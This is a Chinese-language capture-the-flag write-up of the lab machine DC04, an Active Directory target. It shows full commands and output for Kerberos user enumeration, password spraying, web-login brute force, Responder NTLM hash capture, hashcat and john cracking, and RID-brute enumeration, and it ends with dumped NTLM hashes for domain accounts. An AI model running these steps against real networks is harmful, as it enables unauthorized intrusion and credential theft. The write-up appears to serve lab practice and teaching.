&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/tools/kerbrute]
└─# ./kerbrute userenum --dc 172.16.52.135 -d SOUPEDECODE.LOCAL /home/kali/Desktop/wordlists/kali/rockyou.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,&amp;lt; /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 12/09/25 - Ronnie Flathers @ropnop

2025/12/09 07:57:43 &amp;gt;  Using KDC(s):
2025/12/09 07:57:43 &amp;gt;   172.16.52.135:88

2025/12/09 07:57:44 &amp;gt;  [+] VALID USERNAME:       administrator@SOUPEDECODE.LOCAL
2025/12/09 07:59:06 &amp;gt;  [+] VALID USERNAME:       Administrator@SOUPEDECODE.LOCAL
2025/12/09 07:59:33 &amp;gt;  [+] VALID USERNAME:       otara1@SOUPEDECODE.LOCAL
2025/12/09 07:59:42 &amp;gt;  [+] VALID USERNAME:       mailserver@SOUPEDECODE.LOCAL
2025/12/09 08:00:29 &amp;gt;  [+] VALID USERNAME:       ADMINISTRATOR@SOUPEDECODE.LOCAL
2025/12/09 08:01:16 &amp;gt;  [+] VALID USERNAME:       webserver@SOUPEDECODE.LOCAL
2025/12/09 08:08:35 &amp;gt;  [+] VALID USERNAME:       fileserver@SOUPEDECODE.LOCAL
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;添加hosts&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;172.16.52.135 SOUPEDECODE.LOCAL
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;密码喷洒&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC04]
└─# crackmapexec smb 172.16.52.135 -u ./user1.txt -p ./user1.txt --continue-on-success --no-bruteforce
SMB         172.16.52.135   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB         172.16.52.135   445    DC01             [-] SOUPEDECODE.LOCAL\administrator:administrator STATUS_LOGON_FAILURE 
SMB         172.16.52.135   445    DC01             [-] SOUPEDECODE.LOCAL\Administrator:Administrator STATUS_LOGON_FAILURE 
SMB         172.16.52.135   445    DC01             [-] SOUPEDECODE.LOCAL\otara1:otara1 STATUS_LOGON_FAILURE 
SMB         172.16.52.135   445    DC01             [-] SOUPEDECODE.LOCAL\mailserver:mailserver STATUS_LOGON_FAILURE 
SMB         172.16.52.135   445    DC01             [-] SOUPEDECODE.LOCAL\ADMINISTRATOR:ADMINISTRATOR STATUS_LOGON_FAILURE 
SMB         172.16.52.135   445    DC01             [-] SOUPEDECODE.LOCAL\webserver:webserver STATUS_LOGON_FAILURE 
SMB         172.16.52.135   445    DC01             [-] SOUPEDECODE.LOCAL\fileserver:fileserver STATUS_LOGON_FAILURE 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;wireshark抓包&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/DC04-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;没发现什么&lt;/p&gt;
&lt;h2&gt;lookupsid匿名列举&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/tools/kerbrute]
└─# impacket-lookupsid SOUPEDECODE.LOCAL/anonymous@172.16.52.135                                                                                  
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Brute forcing SIDs at 172.16.52.135
[*] StringBinding ncacn_np:172.16.52.135[\pipe\lsarpc]
[-] SMB SessionError: code: 0xc000006d - STATUS_LOGON_FAILURE - The attempted logon is invalid. This is either due to a bad username or authentication information.
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80端口&lt;/h2&gt;
&lt;p&gt;操了，打几套靶场打习惯了，根本没注意到80端口开放&lt;/p&gt;
&lt;h3&gt;目录扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/tools/kerbrute]
└─# dirsearch -u http://soupedecode.local/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3                                                                                                                           
 (_||| _) (/_(_|| (_| )                                                                                                                                    
                                                                                                                                                           
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Desktop/tools/kerbrute/reports/http_soupedecode.local/__25-12-09_08-34-07.txt

Target: http://soupedecode.local/

[08:34:07] Starting:    
[08:34:29] 200 -    9KB - /server-status/                                   
[08:34:29] 200 -    9KB - /server-status
[08:34:29] 200 -  100KB - /server-info  
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;添加hosts&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/DC04-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;172.16.52.135 heartbeat.soupedecode.local
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;8080端口&lt;/h2&gt;
&lt;p&gt;访问&lt;a href=&quot;http://heartbeat.soupedecode.local/login.php&quot;&gt;heartbeat.soupedecode.local&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;给了一个登录框&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/DC04-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;那还说啥了爆破得了&lt;/p&gt;
&lt;h3&gt;密码爆破&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;apt install seclists
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用户名为admin，加载的字典为/usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt&lt;/p&gt;
&lt;p&gt;用kali爆破慢是因为burpsuite为免费版本&lt;/p&gt;
&lt;p&gt;得到一个凭证&lt;code&gt;admin:nimda&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/DC04-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/DC04-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;抓包看看&lt;/p&gt;
&lt;h3&gt;Network Share Heartbeat&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/DC04-6.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;那么我把ip地址改为kali的ip&lt;/p&gt;
&lt;p&gt;然后利用靶机发送ip连接&lt;/p&gt;
&lt;p&gt;再用kali进行wireshark抓包试试呢&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/DC04-7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;看了，搞不懂它在连接个啥&lt;/p&gt;
&lt;p&gt;不过可以看见它在发NBNS协议&lt;/p&gt;
&lt;p&gt;那么就可以用responder工具进行欺骗&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# responder -I eth0 -wd
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR &amp;amp; MDNS Responder 3.1.5.0

[SMB] NTLMv2-SSP Client   : 172.16.52.135
[SMB] NTLMv2-SSP Username : soupedecode\websvc
[SMB] NTLMv2-SSP Hash     : websvc::soupedecode:98344977c341f6b5:D2DB8A611635B2B088A7952E706AE62F:0101000000000000003F7F44ED68DC015CAD161DD4A4823000000000020008004F0034003700470001001E00570049004E002D0032004E0059004E003500480047005A0056004400440004003400570049004E002D0032004E0059004E003500480047005A005600440044002E004F003400370047002E004C004F00430041004C00030014004F003400370047002E004C004F00430041004C00050014004F003400370047002E004C004F00430041004C0007000800003F7F44ED68DC010600040002000000080030003000000000000000000000000040000031B5F8225B6CAA1956F50D2A7584BE833CD24EB1D426306C5C4B8DCB48C0272A0A001000000000000000000000000000000000000900240063006900660073002F003100370032002E00310036002E00350035002E003200310030000000000000000000  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功得到一份账户hash&lt;/p&gt;
&lt;h3&gt;Hashcat爆破&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/DC04-8.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功得到密码jordan23&lt;/p&gt;
&lt;h1&gt;二次信息收集&lt;/h1&gt;
&lt;h2&gt;smb连接&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# smbclient -L 172.16.52.135 -U SOUPEDECODE.LOCAL/websvc%jordan23
session setup failed: NT_STATUS_PASSWORD_EXPIRED                       
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; ✔ 你这个域账户 &lt;strong&gt;SOUPEDECODE.LOCAL\websvc&lt;/strong&gt; 的密码已经过期&lt;br&gt;✔ Windows 要求用户在首次登录或达到过期策略后 &lt;strong&gt;必须更改密码&lt;/strong&gt;&lt;br&gt;✔ smbclient 不能自动处理这种情况，所以认证失败  &lt;/p&gt;
&lt;h3&gt;自行改密&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali] 
└─# smbpasswd -r 172.16.52.135 -U SOUPEDECODE.LOCAL/websvc 
Old SMB password: 
New SMB password: 
Retype new SMB password: 
machine 172.16.52.135 rejected the session setup. Error was : NT_STATUS_ACCESS_DENIED
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;权限不够&lt;/p&gt;
&lt;h2&gt;enum4linux&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;enum4linux -u &amp;#39;websvc&amp;#39; -p &amp;#39;jordan23&amp;#39; -a 172.16.52.135
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不允许访问&lt;/p&gt;
&lt;h2&gt;查看SMB共享目录&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# netexec smb 172.16.52.135 -u websvc -p jordan23  --shares
SMB         172.16.52.135   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False) 
SMB         172.16.52.135   445    DC01             [-] SOUPEDECODE.LOCAL\websvc:jordan23 STATUS_PASSWORD_EXPIRED
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还是凭据过期&lt;/p&gt;
&lt;p&gt;看解析说这是一个bug&lt;/p&gt;
&lt;h2&gt;修改密码&lt;/h2&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;右键&lt;code&gt;ctrl&lt;/code&gt;+&lt;code&gt;delete&lt;/code&gt;解锁&lt;/li&gt;
&lt;li&gt;&lt;code&gt;esc&lt;/code&gt;切换至选用户界面 ×4&lt;/li&gt;
&lt;li&gt;Other users&lt;/li&gt;
&lt;li&gt;Local or domain account password（卡住就按下上下键）&lt;/li&gt;
&lt;li&gt;密码登录界面&lt;/li&gt;
&lt;li&gt;显示密码过期需要修改&lt;/li&gt;
&lt;li&gt;修改密码&lt;/li&gt;
&lt;li&gt;enter即可&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;密码修改为heathcliff&lt;/p&gt;
&lt;h3&gt;SMB连接&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# smbclient -L 172.16.52.135 -U SOUPEDECODE.LOCAL/websvc%heathcliff

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C               Disk      
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 172.16.52.135 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# smbclient //172.16.52.135/C -U SOUPEDECODE.LOCAL/websvc%heathcliff 

Try &amp;quot;help&amp;quot; to get a list of possible commands.

smb: \Users\&amp;gt; cd websvc\Desktop\
smb: \Users\websvc\Desktop\&amp;gt; get user.txt 
getting file \Users\websvc\Desktop\user.txt of size 32 as user.txt (2.6 KiloBytes/sec) (average 2.6 KiloBytes/sec)
smb: \Users\websvc\Desktop\&amp;gt; 

smb: \Users\&amp;gt; ls
  .                                  DR        0  Wed Nov  6 20:55:53 2024
  ..                                DHS        0  Tue Nov  5 18:30:29 2024
  Administrator                       D        0  Sat Jun 15 15:56:40 2024
  All Users                       DHSrn        0  Sat May  8 04:26:16 2021
  Default                           DHR        0  Sat Jun 15 22:51:08 2024
  Default User                    DHSrn        0  Sat May  8 04:26:16 2021
  desktop.ini                       AHS      174  Sat May  8 04:14:03 2021
  fjudy998                            D        0  Wed Nov  6 20:55:33 2024
  ojake987                            D        0  Wed Nov  6 20:55:16 2024
  Public                             DR        0  Sat Jun 15 13:54:32 2024
  rtina979                            D        0  Wed Nov  6 20:54:39 2024
  websvc                              D        0  Wed Nov  6 20:44:11 2024
  xursula991                          D        0  Wed Nov  6 20:55:28 2024

                12942591 blocks of size 4096. 11009079 blocks available
smb: \Users\&amp;gt; cd rtina979\
smb: \Users\rtina979\&amp;gt; ls
NT_STATUS_ACCESS_DENIED listing \Users\rtina979\*
smb: \Users\rtina979\&amp;gt; 

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以发现rtina979禁止访问，需要重点关注&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# cat user.txt                                           
709e449a996a85aa7deaf18c79515d6a   
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;enum4linux&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;enum4linux -u &amp;#39;websvc&amp;#39; -p &amp;#39;heathcliff&amp;#39; -a 172.16.52.135 
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;提取用户&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC04]
└─# enum4linux -u &amp;#39;websvc&amp;#39; -p &amp;#39;heathcliff&amp;#39; -a 172.16.52.135 &amp;gt; enum
                                                                                                                                                                
┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC04]
└─# grep -Po &amp;#39;user:\[\K[^\]]+&amp;#39; enum &amp;gt; user2.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;用户爆破&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;--rid-brute&lt;/code&gt; 是 &lt;strong&gt;Impacket 的 secretsdump.py / samrdump&lt;/strong&gt; 等工具提供的一个 RID （Relative ID）暴力枚举功能。  &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;不需要管理员权限&lt;/strong&gt;&lt;br&gt;只要能登录 SMB  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;netexec smb $IP -u websvc -p &amp;#39;heathcliff&amp;#39; --rid-brute | grep SidTypeUser |cut -d: -f2 |cut -d \\ -f2 |cut -d &amp;#39; &amp;#39; -f1 &amp;gt; names.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;rpcclient&lt;/h3&gt;
&lt;h4&gt;RID-brute&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC04]
└─# rpcclient -U &amp;quot;websvc%heathcliff&amp;quot; 172.16.52.135 -c &amp;quot;querydispinfo&amp;quot;  | grep rtina
index: 0x131f RID: 0x7fd acb: 0x00020010 Account: rtina979      Name: Reed Tina Desc: Default Password Z~l3JhcV#7Q-1#M
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到rtina979的密码为Z~l3JhcV#7Q-1#M&lt;/p&gt;
&lt;p&gt;虽然 &lt;strong&gt;websvc&lt;/strong&gt; 是个普通域账户，但它拥有 &lt;strong&gt;最基础的认证权限&lt;/strong&gt;，即：&lt;/p&gt;
&lt;p&gt;只要账号能成功进行 NTLM/Kerberos 认证&lt;br&gt;就能访问 Windows 的 &lt;strong&gt;SAMR（Security Account Manager Remote）接口&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;SAMR 的默认权限 = &lt;strong&gt;允许任何经过身份验证的域用户枚举域用户信息&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;querydispinfo&lt;/li&gt;
&lt;li&gt;enumdomusers&lt;/li&gt;
&lt;li&gt;enumdomgroups&lt;/li&gt;
&lt;li&gt;lookupnames&lt;/li&gt;
&lt;li&gt;RID loop 枚举&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这是微软默认行为，并不是漏洞。&lt;/p&gt;
&lt;p&gt;📌 &lt;strong&gt;换句话说：只要你有一个域账号，不管权限多低，你都能列出整个域的用户列表。&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;Desc” 是什么意思？&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;在 rpcclient 中，你看到：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;UserName     : xxxx
FullName     : xxxx
Desc         : something here
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;**这里的 **&lt;strong&gt;Desc = Description 字段&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;它对应 AD 用户对象的属性：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;description
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;这一字段通常由管理员填写，用来表示：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;此账户负责什么业务&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;由谁创建&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;密码要求&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;功能描述&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;🔥** BUT！！靶机中这个字段非常常被用来隐藏密码。**&lt;/p&gt;
&lt;h2&gt;rtina979&lt;/h2&gt;
&lt;p&gt;密码过期，直接进主机进行修改&lt;/p&gt;
&lt;h3&gt;SMB连接&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# smbmap -H 172.16.52.181 -d SOUPEDECODE.LOCAL -u rtina979 -p heathcliff

    ________  ___      ___  _______   ___      ___       __         _______
   /&amp;quot;       )|&amp;quot;  \    /&amp;quot;  ||   _  &amp;quot;\ |&amp;quot;  \    /&amp;quot;  |     /&amp;quot;&amp;quot;\       |   __ &amp;quot;\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /&amp;#39; /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __&amp;#39;  \    (|  /
   /&amp;quot; \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] You pressed Ctrl+C!..                                                                                                    
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                          
                                                                                                                             
[+] IP: 172.16.52.181:445       Name: 172.16.52.181             Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C                                                       READ ONLY
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        SYSVOL                                                  READ ONLY       Logon server share 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# smbclient //172.16.52.181/C -U SOUPEDECODE.LOCAL/rtina979%heathcliff                               

Try &amp;quot;help&amp;quot; to get a list of possible commands.
smb: \Users\rtina979\Documents\&amp;gt; ls
  .                                  DR        0  Thu Nov  7 17:35:52 2024
  ..                                  D        0  Wed Nov  6 20:54:39 2024
  My Music                        DHSrn        0  Wed Nov  6 20:54:39 2024
  My Pictures                     DHSrn        0  Wed Nov  6 20:54:39 2024
  My Videos                       DHSrn        0  Wed Nov  6 20:54:39 2024
  Report.rar                          A   712046  Thu Nov  7 08:35:49 2024

                12942591 blocks of size 4096. 11006845 blocks available
smb: \Users\rtina979\Documents\&amp;gt; get Report.rar 
getting file \Users\rtina979\Documents\Report.rar of size 712046 as Report.rar (36597.6 KiloBytes/sec) (average 36597.8 KiloBytes/sec)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;压缩包爆破&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC04]
└─# unrar e Report.rar 

UNRAR 7.10 beta 1 freeware      Copyright (c) 1993-2024 Alexander Roshal

Enter password (will not be echoed) for Report.rar: 

Program aborted
                  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;需要密码所以要爆破&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC04]
└─# rar2john Report.rar &amp;gt; hash1
┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC04]
└─# cat hash1   

┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC04]
└─# john -w=/usr/share/wordlists/rockyou.txt hash1
Using default input encoding: UTF-8
Loaded 1 password hash (RAR5 [PBKDF2-SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 4 OpenMP threads
Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status
PASSWORD123      (Report.rar)     
1g 0:00:00:54 DONE (2025-12-09 23:14) 0.01850g/s 952.3p/s 952.3c/s 952.3C/s ang123..2pac4ever
Use the &amp;quot;--show&amp;quot; option to display all of the cracked passwords reliably
Session completed. 
                         Report.rar:$rar5$16$7b74f4c32feb807c16edc906c283e524$15$872f8d1a914bd1503dac110c7bbb938a$8$3e15430028d503b5
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC04]
└─# unrar e Report.rar         

UNRAR 7.10 beta 1 freeware      Copyright (c) 1993-2024 Alexander Roshal

Enter password (will not be echoed) for Report.rar: 

The specified password is incorrect.
Enter password (will not be echoed) for Report.rar: 


Extracting from Report.rar

Extracting  Pentest Report.htm                                        OK 
Extracting  m2-unbound-source-serif-pro.css                           OK 
Extracting  main-branding-base.W9J-2zkF03j8TkriAGn1Tg.12.css          OK 
Extracting  dart.min.js                                               OK 
Extracting  google-analytics_analytics.js                             OK 
Extracting  highlight.min.js                                          OK 
Extracting  main-base.bundle.IcW7tD43-xaHoBj2_P6wLQ.12.js             OK 
Extracting  main-common-async.bundle.SkTeOM8g4JVEInYAgrgW9Q.12.js     OK 
Extracting  main-notes.bundle.qVLVB-ghGjYQMo6npDHNjw.12.js            OK 
Extracting  main-posters.bundle.JMIo8YhZ0NhbVObiML4nWQ.12.js          OK 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以发现解压出一个网页&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;file_svc:$krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$soupedecode.local/file_svc*$afade2a48795f1f
SMB 192.168.56.121 445 DC01 [*] Windows 6.1 Build 7600 x64 (name:DC01) (domain:soupedecode.local) (signing:True) (SMBv1:False)
SMB 192.168.56.121 445 DC01 [+] soupedecode.local\FileServer$:9e564...SNIP...500 (Pwn3d!)
SMB         192.168.56.126  445    DC01             krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0f55cdc40bd8f5814587f7e6b2f85e6f:::
SMB         192.168.56.126  445    DC01             soupedecode.local\bmark0:1103:aad3b435b51404eeaad3b435b51404ee:d72c66e955a6dc0fe5e76d205a630b15:::
SMB         192.168.56.126  445    DC01             soupedecode.local\otara1:1104:aad3b435b51404eeaad3b435b51404ee:ee98f16e3d56881411fbd2a67a5494c6:::
SMB         192.168.56.126  445    DC01             soupedecode.local\kleo2:1105:aad3b435b51404eeaad3b435b51404ee:bda63615bc51724865a0cd0b4fd9ec14:::
SMB         192.168.56.126  445    DC01             soupedecode.local\eyara3:1106:aad3b435b51404eeaad3b435b51404ee:68e34c259878fd6a31c85cbea32ac671:::
SMB         192.168.56.126  445    DC01             soupedecode.local\pquinn4:1107:aad3b435b51404eeaad3b435b51404ee:92cdedd79a2fe7cbc8c55826b0ff2d54:::
SMB         192.168.56.126  445    DC01             soupedecode.local\jharper5:1108:aad3b435b51404eeaad3b435b51404ee:800f9c9d3e4654d9bd590fc4296adf01:::
SMB         192.168.56.126  445    DC01             soupedecode.local\bxenia6:1109:aad3b435b51404eeaad3b435b51404ee:d997d3309bc876f12cbbe932d82b18a3:::
SMB         192.168.56.126  445    DC01             soupedecode.local\gmona7:1110:aad3b435b51404eeaad3b435b51404ee:c2506dfa7572da51f9f25b603da874d4:::
SMB         192.168.56.126  445    DC01             soupedecode.local\oaaron8:1111:aad3b435b51404eeaad3b435b51404ee:869e9033466cb9f7f8d0ce5a5c3305c6:::
SMB         192.168.56.126  445    DC01             soupedecode.local\pleo9:1112:aad3b435b51404eeaad3b435b51404ee:54a3a0c87893e1051e6f7b629ca144ef:::
SMB         192.168.56.126  445    DC01             soupedecode.local\evictor10:1113:aad3b435b51404eeaad3b435b51404ee:c918a6413865d3701a40071365fa1c3e:::
SMB         192.168.56.126  445    DC01             soupedecode.local\wreed11:1114:aad3b435b51404eeaad3b435b51404ee:a581adbf0e50ba5e4b4c4d95ca190471:::
SMB         192.168.56.126  445    DC01             soupedecode.local\bgavin12:1115:aad3b435b51404eeaad3b435b51404ee:ba78418ef53add0841b76f103e487bf5:::
SMB         192.168.56.126  445    DC01             soupedecode.local\ndelia13:1116:aad3b435b51404eeaad3b435b51404ee:341b52ef9e84306e4efbbf275428640e:::
SMB         192.168.56.126  445    DC01             soupedecode.local\akevin14:1117:aad3b435b51404eeaad3b435b51404ee:cf31e20946a86113fef93a640d8dc64e:::
SMB         192.168.56.126  445    DC01             soupedecode.local\kxenia15:1118:aad3b435b51404eeaad3b435b51404ee:a34ebec647265a56cfd0b45b45b60922:::
SMB         192.168.56.126  445    DC01             soupedecode.local\ycody16:1119:aad3b435b51404eeaad3b435b51404ee:e50f0a735af2069ed26c13b1ad7df962:::
SMB         192.168.56.126  445    DC01             soupedecode.local\qnora17:1120:aad3b435b51404eeaad3b435b51404ee:89237fedf5fb31cdd847a88e33b4d09b:::
SMB         192.168.56.126  445    DC01             soupedecode.local\dyvonne18:1121:aad3b435b51404eeaad3b435b51404ee:9f72bb25fa1d246fa8cfbd243bdd51fb:::
SMB         192.168.56.126  445    DC01             soupedecode.local\qxenia19:1122:aad3b435b51404eeaad3b435b51404ee:a1535954f1808f130fee8b2c8f02a692:::
SMB         192.168.56.126  445    DC01             soupedecode.local\rreed20:1123:aad3b435b51404eeaad3b435b51404ee:aac6265594fead59fa15d377bbbb2dcb:::
SMB         192.168.56.126  445    DC01             soupedecode.local\icody21:1124:aad3b435b51404eeaad3b435b51404ee:b19f543d19fa53cc96c319c68e7c25a5:::
SMB         192.168.56.126  445    DC01             soupedecode.local\ftom22:1125:aad3b435b51404eeaad3b435b51404ee:f10af34344849008dfdca5481c699073:::
SMB         192.168.56.126  445    DC01             soupedecode.local\ijake23:1126:aad3b435b51404eeaad3b435b51404ee:801f7dab7e0d2381e2579a0d38ba7b66:::
